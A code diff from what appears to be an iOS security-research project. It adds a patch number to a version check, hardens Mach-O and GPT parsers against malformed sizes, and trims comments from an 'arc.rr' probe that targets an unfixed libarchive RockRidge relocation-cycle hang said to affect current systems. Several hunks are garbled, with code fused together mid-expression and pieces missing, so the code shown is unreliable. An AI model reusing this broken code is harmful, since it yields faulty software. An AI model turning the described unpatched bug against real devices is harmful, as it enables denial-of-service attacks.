KeyValueRow(key: t("gate.detected"), value: VersionGate.versionString(major: major, minor: minor, patch: patch), tint: T.bad) KeyValueRow(key: t("gate.build"), value: build) KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1") Divider().overlay(T.stroke) @@ -170,8 +176,8 @@ struct GateView: View { private var phaseText: String { switch phase { case .checking: return "checking" - case let .supported(m, n, _): return "ok-\(m).\(n)" - case let .unsupported(m, n, _): return "no-\(m).\(n)" + case let .supported(m, n, p, _): return "ok-\(m).\(n).\(p)" + case let .unsupported(m, n, p, _): return "no-\(m).\(n).\(p)" } } @@ -179,10 +185,10 @@ struct GateView: View { phase = .checking DispatchQueue.main.asyncAfter(deadline: .now() + 0.45) { switch VersionGate.evaluate() { - case let .supported(major, minor, build): - phase = .supported(major: major, minor: minor, build: build) - case let .unsupported(major, minor, build): - phase = .unsupported(major: major, minor: minor, build: build) + case let .supported(major, minor, patch, build): + phase = .supported(major: major, minor: minor, patch: patch, build: build) + case let .unsupported(major, minor, patch, build): + phase = .unsupported(major: major, minor: minor, patch: patch, build: build) } } } @@ -191,11 +197,15 @@ struct GateView: View { struct GateInfo { let major: Int let minor: Int + let patch: Int let build: String + + /// The full detected version, patch included — what the gate actually read. + var osVersion: String { VersionGate.versionString(major: major, minor: minor, patch: patch) } } private struct GateInfoKey: EnvironmentKey { - static let defaultValue = GateInfo(major: 0, minor: 0, build: "—") + static let defaultValue = GateInfo(major: 0, minor: 0, patch: 0, build: "—") } extension EnvironmentValues { diff --git a/Sources/Kit.swift b/Sources/Kit.swift index 99e05d6..7701336 100644 --- a/Sources/Kit.swift +++ b/Sources/Kit.swift @@ -293,6 +293,7 @@ struct DeviceModel { "iPhone19,2": "iPhone 18 Pro Max", "iPhone19,3": "iPhone 18", "iPhone19,4": "iPhone 18 Air", + "iPhone19,7": "iPhone 18 Pro Max", ] return table[machine] ?? machine } diff --git a/Sources/ModTools.swift b/Sources/ModTools.swift index f595dd3..9d4a77d 100644 --- a/Sources/ModTools.swift +++ b/Sources/ModTools.swift @@ -246,9 +246,11 @@ enum MachO { } guard removed > 0 else { return (data, 0) } - // rewrite the command stream in place, then zero the tail of the old region + // rewrite the command stream in place, then zero the tail of the old region. + // sizeofcmds is attacker-controlled in a malformed header — clamp before indexing, + // or the zeroing loop below walks off the end of the image. let streamStart = h.headerSize - let oldEnd = streamStart + Int(h.sizeofcmds) + let oldEnd = min(streamStart + Int(h.sizeofcmds), out.count) out.replaceSubrange(streamStart..<(streamStart + kept.count), with: kept) if streamStart + kept.count < oldEnd { for i in (streamStart + kept.count).. 0 ? min(entryLBA, UInt64(image.count / 512)) : 0 + let safeCount = min(Int(entryCount), 4096) + let safeSize = entrySize > 0 ? min(Int(entrySize), 512) : 128 lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B")) - let base = Int(entryLBA) * 512 - for i in 0.. 1 { + for g in 1.. MachOInfo? { guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil } + // a Mach-O header needs at least the magic; anything shorter is not one. The + // load below would read past the buffer (or hit a nil base on empty Data). + guard data.count >= 4 else { return nil } var info = MachOInfo() let magic = data.withUnsafeBytes { $0.load(as: UInt32.self) } diff --git a/arc.rr/arc.rr.py b/arc.rr/arc.rr.py index d06385c..dd783a7 100644 --- a/arc.rr/arc.rr.py +++ b/arc.rr/arc.rr.py @@ -1,19 +1,4 @@ #!/usr/bin/env python3 -# arc.rr · libarchive · RockRidge CL/PL · — -# 原语: 探测 · 进程内 | Primitive: probe · in-process -# -# [zh] RockRidge 重定位环(未修复孪生) -# 上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。 -# -# [en] RockRidge relocation cycle (unfixed sibling) -# Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 -# (d14de384fcc6) and Apple did not take the commit. The defect is present on both 27.0 and 27.2, -# making it the only candidate in this project that also holds on current systems. -# -# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py -# 触发器(run 闭包)与非种子构建器: 同目录 arc.rr.swift -# triggers (run closures) & non-seed builders: arc.rr.swift in this folder - import struct SECTOR = 2048 diff --git a/arc.rr/arc.rr.swift b/arc.rr/arc.rr.swift index 1339f86..21062df 100644 --- a/arc.rr/arc.rr.swift +++ b/arc.rr/arc.rr.swift @@ -1,23 +1,8 @@ // arc.rr · libarchive · RockRidge CL/PL · — -// 原语: 探测 · 进程内 · tier 3 -// Primitive: probe · in-process · tier 3 -// -// [zh] RockRidge 重定位环(未修复孪生) -// 上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。 -// -// [en] RockRidge relocation cycle (unfixed sibling) -// Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 (d14de384fcc6) -// and Apple did not take the commit. The defect is present on both 27.0 and 27.2, making it the only -// candidate in this project that also holds on current systems. -// ── 判别 / oracle ── -// 以 Joliet 种子的同级结构构造 CL 指向自身的目录项。该路径一旦成立即会挂起,故测量耗时并设阈值判断。 -// -// 种子构建器(python,可直接运行): arc.rr/arc.rr.py -// runnable python seed builder: arc.rr/arc.rr.py - +// RockRidge relocation cycle (unfixed sibling) import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -39,4 +24,3 @@ enum B { } -